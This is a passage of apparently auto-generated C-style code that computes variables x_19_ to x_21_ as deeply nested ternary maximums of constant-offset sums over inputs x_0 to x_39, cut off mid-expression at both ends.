((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))))? (((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) > ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))? ((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) : ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))) : (((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) > ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18)))? ((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) : ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))))) > ((((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) > ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))? ((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) : ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))) > (((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) > ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))? ((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) : ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))))? (((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) > ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))? ((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) : ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))) : (((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) > ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))? ((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) : ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))))? ((((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) > ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))? ((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) : ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))) > (((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) > ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18)))? ((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) : ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))))? (((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) > ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))? ((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) : ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))) : (((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) > ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18)))? ((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) : ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))))) : ((((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) > ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))? ((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) : ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))) > (((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) > ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))? ((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) : ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))))? (((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) > ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))? ((17.0 + x_20) > (14.0 + x_22)? (17.0 + x_20) : (14.0 + x_22)) : ((8.0 + x_23) > ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30))? (8.0 + x_23) : ((15.0 + x_27) > (16.0 + x_30)? (15.0 + x_27) : (16.0 + x_30)))) : (((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) > ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))? ((16.0 + x_31) > (3.0 + x_34)? (16.0 + x_31) : (3.0 + x_34)) : ((4.0 + x_35) > ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39))? (4.0 + x_35) : ((9.0 + x_36) > (18.0 + x_39)? (9.0 + x_36) : (18.0 + x_39)))))); x_19_ = (((((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) > ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))? ((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) : ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))) > (((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) > ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18)))? ((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) : ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))))? (((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) > ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))? ((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) : ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))) : (((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) > ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18)))? ((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) : ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))))) > ((((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) > ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))? ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) : ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))) > (((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) > ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))? ((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) : ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))))? (((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) > ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))? ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) : ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))) : (((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) > ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))? ((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) : ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))))? ((((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) > ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))? ((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) : ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))) > (((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) > ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18)))? ((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) : ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))))? (((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) > ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))? ((3.0 + x_0) > (14.0 + x_4)? (3.0 + x_0) : (14.0 + x_4)) : ((6.0 + x_7) > ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9))? (6.0 + x_7) : ((12.0 + x_8) > (16.0 + x_9)? (12.0 + x_8) : (16.0 + x_9)))) : (((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) > ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18)))? ((8.0 + x_10) > (19.0 + x_11)? (8.0 + x_10) : (19.0 + x_11)) : ((10.0 + x_13) > ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))? (10.0 + x_13) : ((20.0 + x_16) > (1.0 + x_18)? (20.0 + x_16) : (1.0 + x_18))))) : ((((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) > ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))? ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) : ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))) > (((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) > ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))? ((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) : ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))))? (((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) > ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))? ((12.0 + x_22) > (8.0 + x_23)? (12.0 + x_22) : (8.0 + x_23)) : ((2.0 + x_25) > ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30))? (2.0 + x_25) : ((3.0 + x_26) > (14.0 + x_30)? (3.0 + x_26) : (14.0 + x_30)))) : (((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) > ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))? ((15.0 + x_32) > (8.0 + x_33)? (15.0 + x_32) : (8.0 + x_33)) : ((17.0 + x_34) > ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37))? (17.0 + x_34) : ((15.0 + x_35) > (2.0 + x_37)? (15.0 + x_35) : (2.0 + x_37)))))); x_20_ = (((((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) > ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))? ((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) : ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))) > (((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) > ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19)))? ((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) : ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))))? (((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) > ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))? ((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) : ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))) : (((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) > ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19)))? ((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) : ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))))) > ((((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) > ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))? ((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) : ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))) > (((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) > ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))? ((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) : ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))))? (((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) > ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))? ((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) : ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))) : (((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) > ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))? ((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) : ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))))? ((((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) > ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))? ((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) : ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))) > (((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) > ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19)))? ((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) : ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))))? (((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) > ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))? ((9.0 + x_4) > (8.0 + x_6)? (9.0 + x_4) : (8.0 + x_6)) : ((14.0 + x_8) > ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14))? (14.0 + x_8) : ((16.0 + x_10) > (7.0 + x_14)? (16.0 + x_10) : (7.0 + x_14)))) : (((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) > ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19)))? ((9.0 + x_15) > (7.0 + x_16)? (9.0 + x_15) : (7.0 + x_16)) : ((19.0 + x_17) > ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))? (19.0 + x_17) : ((18.0 + x_18) > (14.0 + x_19)? (18.0 + x_18) : (14.0 + x_19))))) : ((((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) > ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))? ((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) : ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))) > (((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) > ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))? ((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) : ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))))? (((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) > ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))? ((12.0 + x_23) > (11.0 + x_25)? (12.0 + x_23) : (11.0 + x_25)) : ((8.0 + x_27) > ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31))? (8.0 + x_27) : ((8.0 + x_29) > (11.0 + x_31)? (8.0 + x_29) : (11.0 + x_31)))) : (((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) > ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))? ((10.0 + x_32) > (13.0 + x_34)? (10.0 + x_32) : (13.0 + x_34)) : ((8.0 + x_37) > ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39))? (8.0 + x_37) : ((16.0 + x_38) > (18.0 + x_39)? (16.0 + x_38) : (18.0 + x_39)))))); x_21_ = (((((14.0 + x_2) > (19.0 + x_3)? (14.0 + x_2) : (19.0 + x_3)) > ((12.0 + x_7) > ((19.0 + x_9) > (2.0 + x_12)? (19.0 + x_9) : (2.0 + 